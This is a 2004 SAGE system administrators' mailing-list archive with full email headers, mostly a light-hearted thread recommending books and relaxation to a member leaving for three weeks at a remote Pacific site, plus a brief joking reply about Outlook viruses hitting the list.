(8.12.10/8.12.10/Submit) id i0LM0n6K008783 for sage-members-outgoing; Wed, 21 Jan 2004 14:00:49 -0800 (PST) Received: from mail2.inorth.com (router.inscrfibre.fibre.golden.net [209.183.151.182]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LM0kcG008779 for ; Wed, 21 Jan 2004 14:00:47 -0800 (PST) Received: from inscriber.com (hidoii.inscriber.local [10.0.0.84]) by mail2.inorth.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id W5PQ8T3Y; Wed, 21 Jan 2004 16:59:59 -0500 Message-ID: <400EF68D.4000600@inscriber.com> Date: Wed, 21 Jan 2004 17:00:45 -0500 From: Graham Dunn User-Agent: Mozilla Thunderbird 0.5a (20040105) X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@sage.org Subject: Re: [SAGE] Keeping yourself sharp... References: <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> In-Reply-To: <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Wyatt Draggoo wrote: > I just found out that I'm leaving on Sunday for 3 weeks at a remote site in > the Pacific. I can't bring any computing devices, including laptops or > even my Palm Pilot, and internet access there is apparently rated at > early-days-of-dialup speeds. > > Now, three weeks isn't that much time, and I'm fairly certain that 10 years > of Unix experience isn't going to leak out of my ears in that time, but > what would you bring to keep yourself sharp under those circumstances? Are > there certain books you'd recommend? Things you'd listen to? Umm, other than a pair of shorts, some sunscreen and sunglasses? Maybe a crate of beer.... Sorry, it feels like minus 20C here today and the thought that someone is going to a remote pacific island and is worried about *computers* fills me with a terrible rage. Well, at least, envy. Graham From sage-members-owner@usenix.org Wed Jan 21 14:01:05 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LM14cH008831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:01:05 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LM14DV008829 for sage-members-outgoing; Wed, 21 Jan 2004 14:01:04 -0800 (PST) Received: from mithril.entelos.com (mithril.entelos.com [12.22.57.197]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LM0xcG008811 for ; Wed, 21 Jan 2004 14:01:03 -0800 (PST) X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: [SAGE] Keeping yourself sharp... Date: Wed, 21 Jan 2004 14:00:53 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [SAGE] Keeping yourself sharp... Thread-Index: AcPgZ+Epl2wEfwBJQdioSDuNp2w8VAAAcslw From: "Dave Hilton" To: "Wyatt Draggoo" , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0LM13cG008820 Sender: owner-sage-members@usenix.org Precedence: bulk Probably not the answer you are looking for - I'd take my Kitaro tapes, Asimov's Foundation series, The Hobbit & Lord of the Ring, and the entire Dune series. Yes, seriously. I can bag OSes for three weeks - just temp me. Dave Hilton Staff System Administrator entelos(r) Foster City, CA Asset (n.): Diminutive posterior. See BACKUP. Backup (n. or v.): Method of protecting Asset. From sage-members-owner@usenix.org Wed Jan 21 14:08:51 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LM8pcH009621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:08:51 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LM8pTj009620 for sage-members-outgoing; Wed, 21 Jan 2004 14:08:51 -0800 (PST) Received: from dfw-gate3.raytheon.com (dfw-gate3.raytheon.com [199.46.199.232]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LM8ncG009616 for ; Wed, 21 Jan 2004 14:08:50 -0800 (PST) Received: from ds02c00.directory.ray.com (ds02c00.directory.ray.com [147.25.138.118]) by dfw-gate3.raytheon.com (8.12.10/8.12.10) with ESMTP id i0LM8mxu014420 for ; Wed, 21 Jan 2004 16:08:49 -0600 (CST) Received: from ds02c00.directory.ray.com (localhost [127.0.0.1]) by ds02c00.directory.ray.com (8.12.10/8.12.1) with ESMTP id i0LM8eoB008266 for ; Wed, 21 Jan 2004 22:08:46 GMT Received: Received: from seasnake.rsc.raytheon.com (seasnake.esn.us.ray.com [147.17.205.60]) by ds02c00.directory.ray.com (8.12.10/8.12.9) with ESMTP id i0LM8b8H008223 sender obejas@seasnake.esn.us.ray.com for ; Wed, 21 Jan 2004 22:08:37 GMT Received: from seasnake (seasnake [147.17.205.60]) by seasnake.rsc.raytheon.com (8.12.9+Sun/8.12.2) with SMTP id i0LM8bfj023068 for ; Wed, 21 Jan 2004 14:08:37 -0800 (PST) Message-Id: <200401212208.i0LM8bfj023068@seasnake.rsc.raytheon.com> Date: Wed, 21 Jan 2004 14:08:37 -0800 (PST) From: Mario Obejas Reply-To: Mario Obejas Subject: Re: [SAGE] Keeping yourself sharp... To: sage-members@usenix.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: mLh9Q7R0KLpqY31845iejQ== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.5 SunOS 5.9 sun4u sparc Sender: owner-sage-members@usenix.org Precedence: bulk >I just found out that I'm leaving on Sunday for 3 weeks at a remote site in >the Pacific. I can't bring any computing devices, including laptops or >even my Palm Pilot, and internet access there is apparently rated at >early-days-of-dialup speeds. Sounds like it's worse in that sense than Kwajelein Atoll. >Now, three weeks isn't that much time, and I'm fairly certain that 10 years >of Unix experience isn't going to leak out of my ears in that time, but >what would you bring to keep yourself sharp under those circumstances? Are >there certain books you'd recommend? Things you'd listen to? I hope I don't get flamed for this but ... IMHO, you've got the oppportunity back asswards. I think it would be best to stop and smell the roses. You will be going to "a remote site in the Pacific". Go swimming in a lagoon. Go out at night and look at more stars than you can see anywhere else. I've already checked skypub.com, no meteors or eclipses during your trip. Find a walking partner and make a point to walk all the way around the island along the shore. When in Rome, do like the romans - find out what the residents do for recreation. Take some recreational reading material. Write those letters you've been meaning write to people without email, but are too busy to do so. People pay good money for a trip like this and call it a retreat. Mario Obejas Engineering Automation & Computing Raytheon From sage-members-owner@usenix.org Wed Jan 21 14:14:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMEHcH010323 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:14:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMEGdQ010322 for sage-members-outgoing; Wed, 21 Jan 2004 14:14:17 -0800 (PST) Received: from gate.mental.com (gate.mental.com [192.31.14.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMEEcG010318 for ; Wed, 21 Jan 2004 14:14:15 -0800 (PST) Received: (from uucp@localhost) by gate.mental.com (8.12.10/8.12.10/Lobo-031007) id i0LMEDTC026753 for ; Wed, 21 Jan 2004 23:14:13 +0100 (CET) Received: from twen(172.16.0.5) by gate via smap (V2.1/Lobo-030905) id xma026751; Wed, 21 Jan 04 23:14:09 +0100 Received: from mental.com (lobo@localhost [127.0.0.1]) by mental.com (8.12.10/8.12.10/Lobo-040120) with ESMTP id i0LME9A2028574 for ; Wed, 21 Jan 2004 23:14:09 +0100 (MET) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: sage-members@usenix.org Subject: Re: [SAGE] Keeping yourself sharp... In-reply-to: "Wyatt Draggoo"'s message of Wed, 21 Jan 2004 13:43:07 PST <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> Organization: mental images GmbH, Berlin, Germany Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 21 Jan 2004 23:14:09 +0100 Message-ID: <28573.1074723249@mental.com> From: Alexander Lobodzinski Sender: owner-sage-members@usenix.org Precedence: bulk () Now, three weeks isn't that much time, and I'm fairly certain that 10 years () of Unix experience isn't going to leak out of my ears in that time, but () what would you bring to keep yourself sharp under those circumstances? () Things you'd listen to? Supposed that you can bring audio books and a diskman: get some reading-aloud software, make it read your sendmail.cf, and record that to an audio CD-R. Seriously, enjoy your holidays. Folks in Europe get up to 6 (six) weeks of vacation. I usually take three weeks in a row and never get any blunt - to the contrary, the more I can relax without thinking of work, the better it goes when I'm back in the office. () Are there certain books you'd recommend? Just in case you enjoyed the "Master and Commander" movie there is an excellent book series by Patrick O'Brian, well suited to being read on any Pacific island (or elsewhere for that matter). The movie is based on about the 10th volume so you can read quite some ones without having the plot spoiled. Ciao, Lobo From sage-members-owner@usenix.org Wed Jan 21 14:19:29 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMJScH010786 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:19:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMJSW9010785 for sage-members-outgoing; Wed, 21 Jan 2004 14:19:28 -0800 (PST) Received: from mithril.entelos.com (mithril.entelos.com [12.22.57.197]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMJNcG010763 for ; Wed, 21 Jan 2004 14:19:27 -0800 (PST) X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: [SAGE] Keeping yourself sharp... Date: Wed, 21 Jan 2004 14:19:18 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [SAGE] Keeping yourself sharp... Thread-Index: AcPgZ+Epl2wEfwBJQdioSDuNp2w8VAABJdaw From: "Dave Hilton" To: "Wyatt Draggoo" , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0LMJRcG010776 Sender: owner-sage-members@usenix.org Precedence: bulk Oh, almost forgot. Take me. I've 56 years experience laying on beaches and opening beers. :) Hilton From sage-members-owner@usenix.org Wed Jan 21 14:29:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMTocH011397 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:29:50 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMToxZ011396 for sage-members-outgoing; Wed, 21 Jan 2004 14:29:50 -0800 (PST) Received: from c001.snv.cp.net (h020.c001.snv.cp.net [209.228.32.134]) by usenix.org (8.12.10/8.12.10) with SMTP id i0LMTmcG011384 for ; Wed, 21 Jan 2004 14:29:48 -0800 (PST) Received: (cpmta 14814 invoked from network); 21 Jan 2004 14:29:44 -0800 Received: from 209.228.32.126 (HELO mail.draggoo.com.criticalpath.net) by smtp.register-admin.com (209.228.32.134) with SMTP; 21 Jan 2004 14:29:44 -0800 X-Sent: 21 Jan 2004 22:29:44 GMT Received: from [130.76.32.144] by mail.draggoo.com with HTTP; Wed, 21 Jan 2004 14:29:44 -0800 (PST) Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 To: sage-members@sage.org From: "Wyatt Draggoo" Subject: Re: [SAGE] Keeping yourself sharp... X-Sent-From: wyatt@draggoo.com Date: Wed, 21 Jan 2004 14:29:44 -0800 (PST) X-Mailer: Web Mail 5.6.0-2_sol28 Message-Id: <20040121142944.3523.h012.c001.wm@mail.draggoo.com.criticalpath.net> Sender: owner-sage-members@usenix.org Precedence: bulk > Umm, other than a pair of shorts, some sunscreen and sunglasses? Maybe a > crate of beer.... > > Sorry, it feels like minus 20C here today and the thought that someone > is going to a remote pacific island and is worried about *computers* > fills me with a terrible rage. Well, at least, envy. > > Graham Heh. I spent 3 years in Hawaii in the Air Force. In the time, I actually went to the beach maybe 4 times, and came back just as pasty white as I am today. The biggest thing I remember about Hawaii was that when I was there my internet connection was horribly slow. It's amazing how many people think there is something wrong with that. :) Wyatt -- Wyatt Draggoo From sage-members-owner@usenix.org Wed Jan 21 14:31:36 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMVZcH011685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:31:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMVZO3011683 for sage-members-outgoing; Wed, 21 Jan 2004 14:31:35 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMVYcG011676 for ; Wed, 21 Jan 2004 14:31:34 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0LMVWa0008643 for ; Wed, 21 Jan 2004 14:31:32 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 5778F2288D; Wed, 21 Jan 2004 14:31:32 -0800 (PST) Date: Wed, 21 Jan 2004 14:31:32 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] Keeping yourself sharp... Message-ID: <20040121223132.GF56411@bitshift.org> References: <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> User-Agent: Mutt/1.4.1i X-Uptime: 2:24PM up 218 days, 17:33, 12 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Wed, Jan 21, 2004 at 01:43:07PM -0800, Wyatt Draggoo wrote: > I just found out that I'm leaving on Sunday for 3 weeks at a remote site in > the Pacific. I can't bring any computing devices, including laptops or > even my Palm Pilot, and internet access there is apparently rated at > early-days-of-dialup speeds. > > Now, three weeks isn't that much time, and I'm fairly certain that 10 years > of Unix experience isn't going to leak out of my ears in that time, but > what would you bring to keep yourself sharp under those circumstances? Are > there certain books you'd recommend? Things you'd listen to? I second what others have already said: Don't worry about it, relax, and enjoy yourself. However, my job requires me to travel to remote tropical locations every so often. Though I tend to have good network access there, and can bring whatever devices I want (as long as they're not wireless), I also tend to take books. If you really feel you're going to get rusty in 3 weeks, find some good technical books you've been putting off reading, and take them. Solaris Internals, or The Design and Operation of the 4.4BSD Kernel, or The UNIX Philosophy, or A Few Good Men from Univac, or Knuth's books, Stevens' books, K&R (or the companion Puzzle Book), Hacker's Delight (A wonderful book I recently discovered, full of great algorithms), and so forth. But sometimes, you'll be sharper after a complete break from anything computer-related than you would if you struggle to stay immersed. Coming up for air every once in a while is just as valuable, if not moreso, than swimming against the current constantly. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Wed Jan 21 14:36:24 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMaOcH012209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:36:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMaNk3012208 for sage-members-outgoing; Wed, 21 Jan 2004 14:36:23 -0800 (PST) Received: from c001.snv.cp.net (h024.c001.snv.cp.net [209.228.32.139]) by usenix.org (8.12.10/8.12.10) with SMTP id i0LMaLcG012204 for ; Wed, 21 Jan 2004 14:36:21 -0800 (PST) Received: (cpmta 3506 invoked from network); 21 Jan 2004 14:36:20 -0800 Received: from 209.228.32.129 (HELO mail.draggoo.com.criticalpath.net) by smtp.register-admin.com (209.228.32.139) with SMTP; 21 Jan 2004 14:36:20 -0800 X-Sent: 21 Jan 2004 22:36:20 GMT Received: from [130.76.32.144] by mail.draggoo.com with HTTP; Wed, 21 Jan 2004 14:36:20 -0800 (PST) Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 To: sage-members@usenix.org From: "Wyatt Draggoo" Subject: RE: [SAGE] Keeping yourself sharp... X-Sent-From: wyatt@draggoo.com Date: Wed, 21 Jan 2004 14:36:20 -0800 (PST) X-Mailer: Web Mail 5.6.0-2_sol28 Message-Id: <20040121143620.26376.h015.c001.wm@mail.draggoo.com.criticalpath.net> Sender: owner-sage-members@usenix.org Precedence: bulk > Probably not the answer you are looking for - > I'd take my Kitaro tapes, Asimov's Foundation series, The Hobbit & Lord > of the Ring, and the entire Dune series. > > Yes, seriously. I can bag OSes for three weeks - just temp me. I'm bringing Cryptonomicon, which I haven't read yet. And some Vietnamese language CDs to study while I'm there. Those will especially help on the hour long commute by boat each way to the island I'll actually be working on. Should be an interesting trip. -- Wyatt Draggoo From sage-members-owner@usenix.org Wed Jan 21 14:40:14 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMeEcH012721 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:40:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMeE1p012717 for sage-members-outgoing; Wed, 21 Jan 2004 14:40:14 -0800 (PST) Received: from 216-239-45-4.google.com (216-239-45-4.google.com [216.239.45.4]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMeCcG012711 for ; Wed, 21 Jan 2004 14:40:12 -0800 (PST) Received: from [172.24.79.48] (gpsi1.corp.google.com [10.3.0.251]) by 216-239-45-4.google.com (8.12.9/8.12.9) with ESMTP id i0LMe5aD025881 for ; Wed, 21 Jan 2004 14:40:05 -0800 Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: <20040121143620.26376.h015.c001.wm@mail.draggoo.com.criticalpath.net> References: <20040121143620.26376.h015.c001.wm@mail.draggoo.com.criticalpath.net> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Colm Buckley Subject: Re: [SAGE] Keeping yourself sharp... Date: Wed, 21 Jan 2004 14:40:05 -0800 To: sage-members@usenix.org X-Mailer: Apple Mail (2.609) Sender: owner-sage-members@usenix.org Precedence: bulk On 21 Jan 2004, at 14:36, Wyatt Draggoo wrote: > I'm bringing Cryptonomicon, which I haven't read yet. And some > Vietnamese language CDs to study while I'm there. Those will > especially help on the hour long commute by boat each way to the > island I'll actually be working on. Good idea re: Cryptonomicon. Don't bother with Quicksilver, though. It's total pants, whatever the slashdot crowd say. Colm -- Colm Buckley / colm@tuatha.org / +353 87 2469146 / www.colm.buckley.name From sage-members-owner@usenix.org Wed Jan 21 14:45:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMjocH013247 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 14:45:50 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0LMjo9H013244 for sage-members-outgoing; Wed, 21 Jan 2004 14:45:50 -0800 (PST) Received: from mail.reptiles.org (root@mail.reptiles.org [198.96.117.157]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0LMjlcG013240 for ; Wed, 21 Jan 2004 14:45:47 -0800 (PST) Received: from mail.reptiles.org([198.96.117.157] port=2848) (1568 bytes) by mail.reptiles.org([198.96.117.157] port=25) via TCP with esmtp (sender: ) id for ; (dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp) Wed, 21 Jan 2004 17:45:44 -0500 (EST) (Smail-3.2.0.116-Pre 2003-Jun-18 #7 built 2003-Dec-23) Date: Wed, 21 Jan 2004 17:45:43 -0500 (EST) From: Cat Okita To: Colm Buckley cc: sage-members@usenix.org Subject: Re: [SAGE] Keeping yourself sharp... In-Reply-To: Message-ID: <20040121174258.J8571-100000@iguana.reptiles.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Wed, 21 Jan 2004, Colm Buckley wrote: > Good idea re: Cryptonomicon. Don't bother with Quicksilver, though. > It's total pants, whatever the slashdot crowd say. Veering somewhat off topic for the list, I got to hear Stephenson talk about how he writes recently, and he mentioned that he's changed how he writes - Early on [and I'm sure everybody knows where this break is], he used to write volumes, and then distill it down into pearls. Now he only writes as much in a day as he thinks is quality, and edits much less. I was also surprised at how shallow he declares his research tends to be, given that he seems to aspire to Umberto Eco's hallowed tomes. cheers! ========================================================================== "A cat spends her life conflicted between a deep, passionate and profound desire for fish and an equally deep, passionate and profound desire to avoid getting wet. This is the defining metaphor of my life right now." From sage-members-owner@usenix.org Wed Jan 21 20:36:27 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0M4aRcH027008 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 20:36:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0M4aRcI027007 for sage-members-outgoing; Wed, 21 Jan 2004 20:36:27 -0800 (PST) Received: from nitrogen.nocdirect.com (nitrogen.nocdirect.com [69.73.164.246]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0M4aPcH027003 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Jan 2004 20:36:26 -0800 (PST) Received: from [69.2.39.107] (helo=watcher.puryear-it.com) by nitrogen.nocdirect.com with esmtp (Exim 4.24) id 1AjWZH-0008Jo-18; Wed, 21 Jan 2004 22:35:47 -0600 Received: from localhost (unknown [127.0.0.1]) by watcher.puryear-it.com (Postfix) with ESMTP id 1F4A134D66; Wed, 21 Jan 2004 22:35:23 -0600 (CST) Received: from watcher.puryear-it.com ([127.0.0.1]) by localhost (watcher.puryear-it.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 61517-05; Wed, 21 Jan 2004 22:35:17 -0600 (CST) Received: from yourqqh4336axf (localhost [127.0.0.1]) by watcher.puryear-it.com (Postfix) with ESMTP id B10D234D5D; Wed, 21 Jan 2004 22:35:16 -0600 (CST) From: "Dustin Puryear" To: "'Wyatt Draggoo'" , Subject: RE: [SAGE] Keeping yourself sharp... Date: Wed, 21 Jan 2004 22:40:08 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Thread-Index: AcPgaJD5BVbdGlMgQKy/VXdoTlnKGQANWSbA In-Reply-To: <20040121134308.28194.h012.c001.wm@mail.draggoo.com.criticalpath.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300 Message-Id: <20040122043516.B10D234D5D@watcher.puryear-it.com> X-Virus-Scanned: by amavisd-new X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - nitrogen.nocdirect.com X-AntiAbuse: Original Domain - usenix.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - usa.net Sender: owner-sage-members@usenix.org Precedence: bulk After reading this, and the subsequent responses, I can't help but feel that this was a sneaky way to gloat. I mean really.. :) > -----Original Message----- > From: owner-sage-members@usenix.org [mailto:owner-sage-members@usenix.org] > On Behalf Of Wyatt Draggoo > Sent: Wednesday, January 21, 2004 3:43 PM > To: sage-members@usenix.org > Subject: [SAGE] Keeping yourself sharp... > > I just found out that I'm leaving on Sunday for 3 weeks at a remote site > in > the Pacific. I can't bring any computing devices, including laptops or > even my Palm Pilot, and internet access there is apparently rated at > early-days-of-dialup speeds. > > Now, three weeks isn't that much time, and I'm fairly certain that 10 ... From sage-members-owner@usenix.org Wed Jan 21 21:03:29 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0M53ScH002516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Jan 2004 21:03:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0M53SGA002515 for sage-members-outgoing; Wed, 21 Jan 2004 21:03:28 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0M53PcH002494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 21 Jan 2004 21:03:27 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i0M53Ng1015663 for ; Thu, 22 Jan 2004 00:03:23 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i0M53NN4013258 for sage-members@sage.org; Thu, 22 Jan 2004 00:03:23 -0500 (EST) Date: Wed, 21 Jan 2004 21:03:23 -0800 From: Chuck Yerkes To: sage-members@sage.org Subject: Re: [SAGE] viruses, spam Message-ID: <20040122050323.GA26017@snew.com> Reply-To: sage-members@usenix.org References: <200401201842.i0KIgXig029095@ace.DELOS.COM> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401201842.i0KIgXig029095@ace.DELOS.COM> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Rob Kolstad (kolstad@ace.DELOS.COM): > OK -- no more attachments for sage-members. I'll do this after lunch. > > Sorry for the inconvenience. We removed trey@sage.org from the > 'authorized to send' list, so something else tricky is going on. > > Obviously, Trey is not sending these notes either accidentally or on > purpose. I try and I try and NetBSD/Alpha won't run those. Damn. Seriously, it oughta be clear that sage members don't use OutBreak, er, LookOut, er whatever it is. I had thoughts of writing something that removed the outlook program and sending it to our whole company every month. Sort of self healing. If you don't click the button, you don't get the treatment. So perhaps this is a "you must be this tall ------>" test. If you get the virus, then you can't play on SAGE. Pity it doesn't do an Unsubscribe. From sage-members-owner@usenix.org Thu Jan 22 01:49:41 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0M9necH006178 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 01:49:41 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0M9neQn006177 for sage-members-outgoing; Thu, 22 Jan 2004 01:49:40 -0800 (PST) Received: from smtp1.infineon.com (smtp1.infineon.com [194.175.117.76]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0M9nYcG006172 for ; Thu, 22 Jan 2004 01:49:39 -0800 (PST) Received: from mucse012.eu.infineon.com (mucse012.ifx-mail1.com [172.29.27.229]) by smtp1.infineon.com (8.12.10/8.12.10) with ESMTP id i0M9jCDb015605; Thu, 22 Jan 2004 10:45:12 +0100 (MET) Received: by mucse012.eu.infineon.com with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Jan 2004 10:49:24 +0100 Message-ID: <93659FED3BE2D411A92400508BAD48BB032783D5@mchp542a.muc.infineon.com> From: Thomas.Leyer@infineon.com To: wyatt@draggoo.com, sage-members@usenix.org Subject: RE: [SAGE] Keeping yourself sharp... Date: Thu, 22 Jan 2004 10:49:19 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-sage-members@usenix.org Precedence: bulk ok.... First of all get as much people jealous of yourself as possible... [OK] Accept that you really got the opportunity to think about your job and yourself.... Take a notepad with you, as (IMHO) the first week everything you had to delay, many things you forgot and a lot of ideas you hadn't had the time to let them come to your mind will do so.... And that's all ;-) Relax and have a good time (slightly jealous.... ) Thom -----Original Message----- From: owner-sage-members@usenix.org [mailto:owner-sage-members@usenix.org] On Behalf Of Wyatt Draggoo Sent: Wednesday, January 21, 2004 10:43 PM To: sage-members@usenix.org Subject: [SAGE] Keeping yourself sharp... I just found out that I'm leaving on Sunday for 3 weeks at a remote site in the Pacific. I can't bring any computing devices, including laptops or even my Palm Pilot, and internet access there is apparently rated at early-days-of-dialup speeds. Now, three weeks isn't that much time, and I'm fairly certain that 10 years of Unix experience isn't going to leak out of my ears in that time, but what would you bring to keep yourself sharp under those circumstances? Are there certain books you'd recommend? Things you'd listen to? I'm just curious. Thanks, Wyatt -- Wyatt Draggoo From 